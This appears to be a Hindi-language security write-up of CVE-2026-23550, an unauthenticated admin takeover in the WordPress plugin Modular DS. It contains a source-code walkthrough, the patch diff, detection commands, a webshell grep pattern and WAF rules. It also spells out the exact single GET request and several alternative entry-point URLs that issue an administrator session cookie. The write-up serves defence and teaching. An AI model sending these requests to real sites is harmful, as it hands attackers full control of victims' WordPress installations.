
CVE-2026-23550 के लिए रूट-कॉज़ विश्लेषण, PoC, और डिटेक्शन मार्गदर्शन, जो WordPress प्लगइन Modular DS में एक गंभीर अनप्रमाणित एडमिन सत्र अधिग्रहण है।
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
मूल कारण विश्लेषण · स्रोत कोड वॉकथ्रू · पैच डिफ़ · शैक्षिक PoC
द्वारा: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) एक वर्डप्रेस साइट-प्रबंधन प्लगइन है जिसमें 40,000+ सक्रिय स्थापनाएँ हैं। संस्करण ≤ 2.5.1 में पाँच संयुक्त दोषों की एक श्रृंखला है जो किसी भी अप्रमाणित हमलावर को प्रमाणीकरण को बायपास करने, प्लगइन के आंतरिक लॉगिन एंडपॉइंट को लागू करने, और पहले व्यवस्थापक खाते के लिए एकwordpress_logged_in_*सत्र कुकी प्राप्त करने की अनुमति देती है — केवल एक HTTP GET अनुरोध के साथ।
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
परिणाम: पूर्ण व्यवस्थापक अधिग्रहण। हमलावर दुर्भावनापूर्ण प्लगइन स्थापित कर सकता है, वेबशेल गिरा सकता है, बैकअप व्यवस्थापक खाते बना सकता है, डेटाबेस बाहर निकाल सकता है।
यह कमज़ोरी प्लगइन में एम्बेडेड एक कस्टम लारवेल-व्युत्पन्न राउटर को ट्रिगर करती है। प्लगइन अपना स्वयं का HTTP कर्नेल (Ares/Framework) भेजता है जो वर्डप्रेस के parse_request एक्शन में हुक करता है ताकि वर्डप्रेस के स्वयं के रूटिंग के कार्यभार संभालने से पहले अनुरोधों को हाईजैक किया जा सके।
पूर्वापेक्षाएँ: कोई नहीं (प्लगइन स्थापित और सक्रिय, मॉड्यूलर SaaS से जुड़ा — सभी लाइव स्थापनाओं के लिए डिफ़ॉल्ट)।
प्रवेश बिंदु (कोई भी एक पर्याप्त है):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
यह कमज़ोरी एक एकल दोष नहीं है — यह पाँच संयुक्त दोषों की एक श्रृंखला है। प्रत्येक परत, अलग-अलग देखी जाए, तो रक्षात्मक लग सकती है; संयुक्त होने पर, वे एक प्री-प्रमाणीकरण व्यवस्थापक अधिग्रहण में ढह जाते हैं।
flowchart TB
A["🌐 हमलावर का अनुरोध<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>केवल क्वेरी पैरामीटर पर गेट खुलता है"]
B --> C["② Router::findRoute()<br/>URL को अंतर्निहित रूप से /login रूट पर हल किया जाता है"]
C --> D["③ bindOldRoutes() फ़िल्टर<br/>अज्ञात टाइप पर फ़ॉल-थ्रू"]
D --> E["④ ModularGuard::check()<br/>सर्वर OAuth को मान्य करता है, अनुरोध को नहीं"]
E --> F["⑤ AuthController::getLogin()<br/>पहले व्यवस्थापक उपयोगकर्ता पर वापस गिर जाता है"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>हमलावर = व्यवस्थापक"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fffHttpUtils::isDirectRequest()फ़ाइल: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ केवल क्वेरी-पैरामीटर, कोई हस्ताक्षर नहीं
}
return false;
}
समस्या: "डायरेक्ट अनुरोध" मोड — जो मॉड्यूलर SaaS बैकएंड से वैध कॉल की पहचान करने के लिए है — बिना HMAC, बिना JWT, बिना हस्ताक्षरित नॉन्स, बिना IP अनुमति सूची के सादे पाठ क्वेरी पैरामीटर पर गेट किया जाता है। कोई भी हमलावर इस स्विच को पलट सकता है।
Router::findRoute()फ़ाइल: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ फ़िल्टर चलने से पहले URL को रूट पर हल किया जाता है
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
समस्या: लारवेल का routes->match($request) /api/modular-connector/login/xxx को login रूट (प्रमाणीकरण-गार्डेड) में सुरक्षा फ़िल्टर चलने से पहले हल करता है। फ़िल्टर इस रूट को इनपुट के रूप में प्राप्त करता है, जो इसे स्पष्ट रूप से अधिकृत करने के बजाय रूट को अवैध साबित करने का बोझ देता है।
bindOldRoutes()फ़ाइल: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* हस्ताक्षरित OAuth कॉल के माध्यम से पुनः बाइंड */ }
if ($type === 'oauth') { /* /oauth हैंडलर पर पुनः बाइंड */ }
if ($type === 'lb') { /* /schedule/run पर पुनः बाइंड */ }
return $route; // ⚠️ अज्ञात प्रकार → URL से रूट ज्यों का त्यों रहता है
}
समस्या: फ़िल्टर केवल तभी रूट को ओवरराइड करता है जब type तीन ज्ञात मानों में से एक हो। जब type मनमाना होता है (x, foo, खाली), तो यह फ़ॉल-थ्रू करता है और URL-हल किए गए रूट को बिना बदले लौटाता है। URL-चालित रूट login — जो कागज पर प्रमाणीकरण-गार्डेड था — मिडलवेयर मूल्यांकन के लिए आगे बढ़ता है।
ModularGuard::check()फ़ाइल: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ SERVER स्थिति की जाँच करता है
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
समस्या: कस्टम modular गार्ड आने वाले अनुरोध की पहचान का शून्य सत्यापन करता है। यह केवल यह जाँचता है कि प्लगइन स्वयं मॉड्यूलर SaaS के साथ एक वैध OAuth सत्र रखता है। चूंकि वस्तुतः हर स्थापना जुड़ी हुई है (अन्यथा प्लगइन बेकार है), गार्ड किसी भी अनुरोध के लिए true लौटाता है जो उस तक पहुँचता है।
यह मुख्य दोष है। भले ही दोष ①–③ ठीक कर दिए जाएँ, यह टूटा हुआ गार्ड अकेले auth मिडलवेयर समूह में प्रत्येक रूट तक अनधिकृत पहुँच की अनुमति देगा।
AuthController::getLogin()फ़ाइल: src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — बाइंडिंग कभी आबाद नहीं हुई
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 साइट पर पहला व्यवस्थापक
}
$cookies = ServerSetup::loginAs($user, true); // 💣 WP सत्र कुकी जारी करें
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
समस्या: SiteRequest रूट-मॉडल बाइंडिंग केवल तभी आबाद होती है जब फ़िल्टर श्रृंखला में type === 'request' हो। अज्ञात type के लिए, $modularRequest नियंत्रक तक एक खाली वस्तु के रूप में पहुँचता है। नियंत्रक तब चुपचाप पहले व्यवस्थापक उपयोगकर्ता पर वापस गिर जाता है और उन्हें एक वर्डप्रेस लॉगिन कुकी जारी करता है। कोई भी सामने के दरवाजे से अंदर आ सकता है।
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);
━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
- if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByName('default'); // 👈 हमेशा 404 रूट से शुरू करें
+ $route->bind(request());
+ if (!HttpUtils::isDirectRequest()) return $route;
━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+ abort(404);
+ })->name('default');
यह फ़िक्स अंतर्निहित URL→रूट समाधान को पूरी तरह से हटा देता है। फ़िल्टर अब एक default रूट से शुरू होता है जो abort(404) से हार्डवायर्ड है और केवल तब एक वास्तविक नियंत्रक से पुनः बाइंड होता है जब type तीन स्पष्ट रूप से श्वेतसूचीबद्ध मानों में से एक हो। नए तर्क के तहत, type=x एक 404 उत्पन्न करता है — अनुरोध कभी भी लॉगिन नियंत्रक तक नहीं पहुँचता, और टूटे हुए गार्ड के खिलाफ खुला विफल होने के लिए कुछ भी नहीं है।
यह पूर्वव्यापी रूप से लागू की गई गहराई में सुरक्षा है: भले ही ModularGuard::check() संरचनात्मक रूप से कमज़ोर बना रहे, अब प्रमाणीकरण-संरक्षित रूटों के लिए इसकी पहुँच श्रृंखला बंद हो गई है।
modular-connector >= 2.5.2 में अपग्रेड करें — अनिवार्य।अपग्रेड के बाद, समझौता मान लें यदि प्लगइन ≤ 2.5.1 था और 2026-01-13 से इंटरनेट-सामना कर रहा था। इसके लिए जाँचें:
# 1. अनधिकृत व्यवस्थापक खाते
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# 2. 2026-01-13 के बाद संदिग्ध प्लगइन स्थापनाएँ
find wp-content/plugins/ -type d -newer /tmp/marker-jan13
# 3. हाल ही में संशोधित कोर फ़ाइलें
find wp-includes/ wp-admin/ -type f -mtime -30
# 4. वेबशेल (एक्सप्लॉइट के बाद गिराए गए सामान्य पेलोड)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
"id:2026023550,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 exploit attempt (Modular DS)'"
SecRule ARGS:origin "@streq mo" \
"chain,id:2026023551,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 direct-request bypass attempt'"
SecRule ARGS:type "@rx .+"
Beelze · zeroday 1diot9
उन्नत CVE शोधकर्ता · कमज़ोरी विश्लेषक · PoC निर्माता
यह रिपॉजिटरी कड़ाई से शैक्षिक और रक्षात्मक अनुसंधान उद्देश्यों के लिए प्रकाशित की गई है।
कमज़ोरी सार्वजनिक रूप से प्रकट की गई है (CVE-2026-23550), विक्रेता द्वारा पैच किया गया है (
modular-connector 2.5.2), और मुख्यधारा के सुरक्षा प्रेस में विस्तृत है। यह लेख रक्षकों को मूल कारण समझने, डेवलपर्स को वास्तविक दुनिया की प्रमाणीकरण डिज़ाइन विफलता से सीखने, और शोधकर्ताओं को एक श्रृंखलाबद्ध-दोष पैटर्न का अध्ययन करने में मदद करने के लिए मौजूद है।उन प्रणालियों के विरुद्ध शामिल PoC स्क्रिप्ट न चलाएँ जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है। असंख्य क्षेत्रों में कंप्यूटर प्रणालियों तक अनधिकृत पहुँच अवैध है (CFAA · कंप्यूटर दुरुपयोग अधिनियम · ITE कानून · आदि)।
लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता। यदि आप सुनिश्चित नहीं हैं कि आपका उपयोग मामला अधिकृत है, तो यह नहीं है।
सुरक्षा अनुसंधान समुदाय के लिए 🎯 के साथ बनाया गया।
⭐ इस रिपॉजिटरी को स्टार करें यदि इसने आपको कुछ सीखने में मदद की।
| क्षेत्र | मान |
|---|
| प्लगइन नाम | Modular DS |
| स्लग | modular-connector |
| कमज़ोर | <= 2.5.1 |
| पैच किया गया | 2.5.2 |
| सक्रिय स्थापनाएँ | ~40,000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — पहचान और प्रमाणीकरण विफलताएँ |
| # | परत | फ़ाइल | मूल समस्या |
|---|
| ① | बूटस्ट्रैप गेट | HttpUtils.php:64 | केवल origin=mo क्वेरी जाँच, कोई क्रिप्टो/नॉन्स नहीं |
| ② | URL→रूट मिलान | Router.php:20 | अंतर्निहित URL समाधान सीधे फ़िल्टर को भेजा गया |
| ③ | रूट ओवरराइड फ़िल्टर | RouteServiceProvider.php:46 | अज्ञात type मूल रूट के साथ फ़ॉल-थ्रू करता है |
| ④ | प्रमाणीकरण गार्ड | ModularGuard.php:16 | सर्वर-साइड OAuth स्थिति को मान्य करता है, अनुरोध पहचान को नहीं |
| ⑤ | लॉगिन नियंत्रक | AuthController.php:66 | इनपुट गायब होने पर getAdminUser() पर मौन वापसी |
| तारीख | घटना |
|---|
| 2026-01-XX | विक्रेता मौन सुरक्षा फिक्स के साथ 2.5.2 जारी करता है |
| 2026-01-13 ~02:00 UTC | जंगली में पहली बार शोषण देखा गया |
| 2026-01-13 | Patchstack ने सलाहकार प्रकाशित किया · CVE-2026-23550 असाइन किया गया |
| 2026-01-14 | The Hacker News, BleepingComputer, Security Affairs कवरेज |
| 2026-07-05 | यह शैक्षिक लेख प्रकाशित हुआ |